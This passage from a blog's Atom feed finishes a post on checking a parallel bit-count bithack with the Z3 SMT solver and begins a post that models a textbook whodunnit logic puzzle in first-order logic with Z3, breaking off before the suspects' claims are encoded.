&lt;p&gt;In particular they are &lt;em&gt;nested&lt;/em&gt; or &lt;em&gt;entangled&lt;/em&gt; restrictions: one restriction depends on a previous one.&lt;/p&gt;
&lt;p&gt;Moreover, we use arithmetic addition (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;). When we perform a bit operation like &lt;em&gt;and&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;), each output bit is calculated based on its two input bits and &lt;em&gt;independently&lt;/em&gt; from the rest.&lt;/p&gt;
&lt;p&gt;But when we add two bit vectors, the &lt;em&gt;carry bit&lt;/em&gt; is propagated from the LSB to the MSB making the output bit &lt;strong&gt;dependant&lt;/strong&gt; of the input bits on its right (LSBs).&lt;/p&gt;
&lt;p&gt;The arithmetic addition &lt;em&gt;entangles&lt;/em&gt; the bits.&lt;/p&gt;
&lt;p&gt;Long story short: it will be slow.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The key is to operate in parallel.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;And this &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetParallel"&gt;bithack&lt;/a&gt; suggested by Andrew Shapira, improved later by Charlie Gordon and Don Clugston, Eric Cole, Al Williams and Sean Eron Anderson will do the trick.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;UL3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x5555555555555555&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;UL15&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x3333333333333333&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;UL255a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xf0f0f0f0f0f0f0f&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;UL255b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x101010101010101&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;S&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="c1"&gt;# temp&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# temp&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;UL255a&lt;/span&gt;         &lt;span class="c1"&gt;# temp&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;UL255b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;               &lt;span class="c1"&gt;# count&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bit_count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# compute this once&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;good_cases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bad_cases&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;good_cases&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bad_cases&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="c1"&gt;# byexample: +timeout=600&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Victory!&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="the-hidden-bug"&gt;The hidden bug&lt;/h2&gt;
&lt;p&gt;The link in the index to the last bithack is broken.&lt;/p&gt;
&lt;p&gt;Not very exciting bug though.&lt;/p&gt;
&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;Verification is hard.&lt;/p&gt;
&lt;p&gt;Thinking in a way to build a set of restrictions and assumptions that could lead to a contradiction &lt;strong&gt;without&lt;/strong&gt; leading to an exponential search is not trivial.&lt;/p&gt;
&lt;p&gt;Working with shifts, masks and binary operations is not a problem but when we do arithmetics the bits not longer are independent.&lt;/p&gt;
&lt;p&gt;Arithmetic operations &lt;em&gt;entangle&lt;/em&gt; the bits.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-loops are also another way to entangle the bits when the loop condition depends on the value of a Z3 variable.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-loops like those forces us to model &lt;strong&gt;all&lt;/strong&gt; the iterations.&lt;/p&gt;
&lt;p&gt;With respect to Z3, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; works pretty well but it lacks of a way to &lt;em&gt;promote&lt;/em&gt; or &lt;em&gt;upcast&lt;/em&gt; to wider &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. This needs to be done by hand.&lt;/p&gt;
&lt;p&gt;And don’t forget that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a &lt;strong&gt;signed integer&lt;/strong&gt; so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are signed by default.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/05/17/Verifying-Some-Bithacks.html" rel="alternate" type="text/html" title="Verifying some bithacks"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="bitvec" label="bitvec"/>
    <category term="verify bithacks" label="verify bithacks"/>
    <published>2021-05-17T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/05/09/Solving-a-Murder-Case-with-Z3.html</id>
    <title>Solving a Murder Case with Z3</title>
    <updated>2021-05-09T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Victor has been murdered!&lt;/p&gt;
&lt;p&gt;There are strong evidences that point that Victor was murdered by a single person. The investigation led to three suspects: Art, Bob, and Carl.&lt;/p&gt;
&lt;p&gt;But who is the murder?&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='CkkgdG9vayB0aGlzIGxvZ2ljIHB1enpsZSBmcm9tIGEgU3RhbmZvcmQgVW5pdmVyc2l0eSBjb3Vyc2U6CltJbnRyb2R1Y3Rpb24gdG8gTG9naWNdKGh0dHA6Ly9pbnRyb2xvZ2ljLnN0YW5mb3JkLmVkdS9leHRyYXMvd2hvZHVubml0Lmh0bWwpCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkkgdG9vayB0aGlzIGxvZ2ljIHB1enpsZSBmcm9tIGEgU3RhbmZvcmQgVW5pdmVyc2l0eSBjb3Vyc2U6CltJbnRyb2R1Y3Rpb24gdG8gTG9naWNdKGh0dHA6Ly9pbnRyb2xvZ2ljLnN0YW5mb3JkLmVkdS9leHRyYXMvd2hvZHVubml0Lmh0bWwpCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I took this logic puzzle from a Stanford University course: &lt;a href="http://intrologic.stanford.edu/extras/whodunnit.html"&gt;Introduction to Logic&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Art says he did not do it. He says that Bob was the victim’s friend but that Carl hated the victim.&lt;/p&gt;
&lt;p&gt;Bob says he was out of town the day of the murder, and besides he didn’t even know the guy.&lt;/p&gt;
&lt;p&gt;Carl says he is innocent and he saw Art and Bob with the victim just before the murder.&lt;/p&gt;
&lt;h2 id="propositional-logic"&gt;Propositional logic&lt;/h2&gt;
&lt;p&gt;The proposition “Bob says he was out of town the day of the murder” cannot be tested by pure logic.&lt;/p&gt;
&lt;p&gt;It is a statement that is not related with any other statement said including his own so it will not be in contradiction.&lt;/p&gt;
&lt;p&gt;Unless we have a camera capturing Bob near the crime scene the day of the murder with a validated date and time, we cannot contradict his claim.&lt;/p&gt;
&lt;p&gt;The propositions “Art says he did not do it” and “Carl says he is innocent” have the same level of useless.&lt;/p&gt;
$$
\begin{aligned}
Art \R claims &amp;= Bob \R friend \R of \R Victor ∧ ¬Carl \R friend \R of \R Victor  \\
Bob \R claims &amp;= ¬Bob \R knows \R Victor                          \\
Carl \R claims &amp;= Art \R saw \R with \R Victor ∧ Bob \R saw \R with \R Victor
\end{aligned}
$$
&lt;p&gt;The propositions of above seems to be disconnected. This is a limitation of the &lt;em&gt;propositional logic&lt;/em&gt;: we cannot connect “Bob was the victim’s friend” with “[Bob] didn’t even know the guy”.&lt;/p&gt;
&lt;p&gt;Those are two separated propositions.&lt;/p&gt;
&lt;p&gt;To connect them we need to use a &lt;em&gt;first order logic&lt;/em&gt; or &lt;em&gt;predicated logic&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="first-order-logic"&gt;First order logic&lt;/h2&gt;
&lt;p&gt;A first order logic has more expressive power to capture more subtle connections.&lt;/p&gt;
&lt;p&gt;We know that if a person \(s\) is a friend of \(v\), then \(s\) must know \(v\) – or at least is a reasonable assumption of how human friendship works.&lt;/p&gt;
&lt;p&gt;Then we can have the following two &lt;em&gt;predicates&lt;/em&gt; (think in them as functions or parametric propositions).&lt;/p&gt;
$$
is \R friend(s, v)     \\
knows(s, v)
$$
&lt;p&gt;These predicates are not true or false: only when we &lt;em&gt;fix&lt;/em&gt; their inputs we can ask about their truthfulness.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkZvcm1hbGx5IEkgc2hvdWxkIGFkZCB0aGF0IGBzYHsubWF0aGpheH0gYmVsb25ncyB0byB0aGUgKmRvbWFpbiogb2YKc3VzcGVjdHMgYFx7QXJ0LCBCb2IsIENhcmxcfWB7Lm1hdGhqYXh9IGFuZCBgdmB7Lm1hdGhqYXh9IGJlbG9uZ3MgdG8gdGhlICpkb21haW4qCm9mIHZpY3RpbXMgYFx7VmljdG9yXH1gey5tYXRoamF4fS4KCldpdGhvdXQgYSBkb21haW4sIGBzYHsubWF0aGpheH0gYW5kIGB2YHsubWF0aGpheH0gYXJlIGp1c3QgbGV0dGVycyBhbmQgdGhlIHByb3Bvc2l0aW9uCm1ha2VzIG5vIHNlbnNlLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkZvcm1hbGx5IEkgc2hvdWxkIGFkZCB0aGF0IGBzYHsubWF0aGpheH0gYmVsb25ncyB0byB0aGUgKmRvbWFpbiogb2YKc3VzcGVjdHMgYFx7QXJ0LCBCb2IsIENhcmxcfWB7Lm1hdGhqYXh9IGFuZCBgdmB7Lm1hdGhqYXh9IGJlbG9uZ3MgdG8gdGhlICpkb21haW4qCm9mIHZpY3RpbXMgYFx7VmljdG9yXH1gey5tYXRoamF4fS4KCldpdGhvdXQgYSBkb21haW4sIGBzYHsubWF0aGpheH0gYW5kIGB2YHsubWF0aGpheH0gYXJlIGp1c3QgbGV0dGVycyBhbmQgdGhlIHByb3Bvc2l0aW9uCm1ha2VzIG5vIHNlbnNlLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Formally I should add that \(s\) belongs to the &lt;em&gt;domain&lt;/em&gt; of suspects \(\{Art, Bob, Carl\}\) and \(v\) belongs to the &lt;em&gt;domain&lt;/em&gt; of victims \(\{Victor\}\).
&lt;br /&gt;&lt;br /&gt;
Without a domain, \(s\) and \(v\) are just letters and the proposition makes no sense.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;However we can build propositions that are true or false on top of that:&lt;/p&gt;
$$
∀ s, ∀ v \; is \R friend(s, v) ⟹  knows(s, v)
$$
&lt;p&gt;And that proposition is true for all the suspects and victims possible.&lt;/p&gt;
&lt;p&gt;In particular, the following is also true:&lt;/p&gt;
$$
is \R friend(Bob, Victor) ⟹  knows(Bob, Victor)
$$
&lt;p&gt;That’s the link, the connection between “Bob was the victim’s friend” with “[Bob] didn’t even know the guy”.&lt;/p&gt;
&lt;p&gt;It is a mathematical way to say: “if Bob was the victim’s friend, then he knew the guy; if he didn’t know the guy he could not be his friend”.&lt;/p&gt;
&lt;p&gt;The claim “[Carl] saw Art […] with the victim just before the murder” is tricky.&lt;/p&gt;
&lt;p&gt;A person \(s\) can be in a public place with \(v\) and that does not implies anything. Even if they are in the same room, \(s\) may forget about \(v\) 5 minutes later.&lt;/p&gt;
&lt;p&gt;For the sake of simplicity we will say that the following is true:&lt;/p&gt;
$$
∀ s, ∀ v \; be \R with(s, v) ⟹  knows(s, v)
$$
&lt;p&gt;Using the predicates we can rewrite the suspects’ claims as follows:&lt;/p&gt;
$$
\begin{aligned}
Art \R claims &amp;= is \R friend(Bob, Victor) ∧ ¬is \R friend(Carl, Victor)  \\
Bob \R claims &amp;= ¬knows(Bob, Victor)                                \\
Carl \R claims &amp;= be \R with(Art, Victor) ∧ be \R with(Bob, Victor)
\end{aligned}
$$
&lt;h2 id="z3"&gt;Z3&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeclareSort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BoolSort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="n"&gt;Implies&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ForAll&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Consts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AtLeast&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Suspects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DeclareSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Suspects&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Art&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Carl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Consts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Art Bob Carl s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Suspects&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Victims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DeclareSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Victims&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Victor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Consts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Victor v&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice how we explicitly declare the &lt;em&gt;domains&lt;/em&gt; or &lt;em&gt;sorts&lt;/em&gt; over we will be operating: the domain of suspects and the domain of victims.&lt;/p&gt;
&lt;p&gt;“Bob is a sort of Suspects; Victor is a sort of Victims”. Weird.&lt;/p&gt;
&lt;p&gt;The sort is used to define the &lt;em&gt;predicates&lt;/em&gt; –aka functions:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;is_friend&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;is_friend&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Suspects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BoolSort&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;knows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;knows&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Suspects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BoolSort&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;be_with&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;be_with&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Suspects&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Victims&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BoolSort&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;All those three functions receives a suspect and a victim as inputs and return an element of sort boolean: true or false.&lt;/p&gt;
&lt;p&gt;Note how those functions are either true or false, they are just functions.&lt;/p&gt;
&lt;p&gt;In contrast the following relationships are true and they are our first two restrictions set:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ForAll&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;Implies&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_friend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;knows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))),&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ForAll&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;Implies&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;be_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;knows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And now the suspects’ claims:&lt;/p&gt;
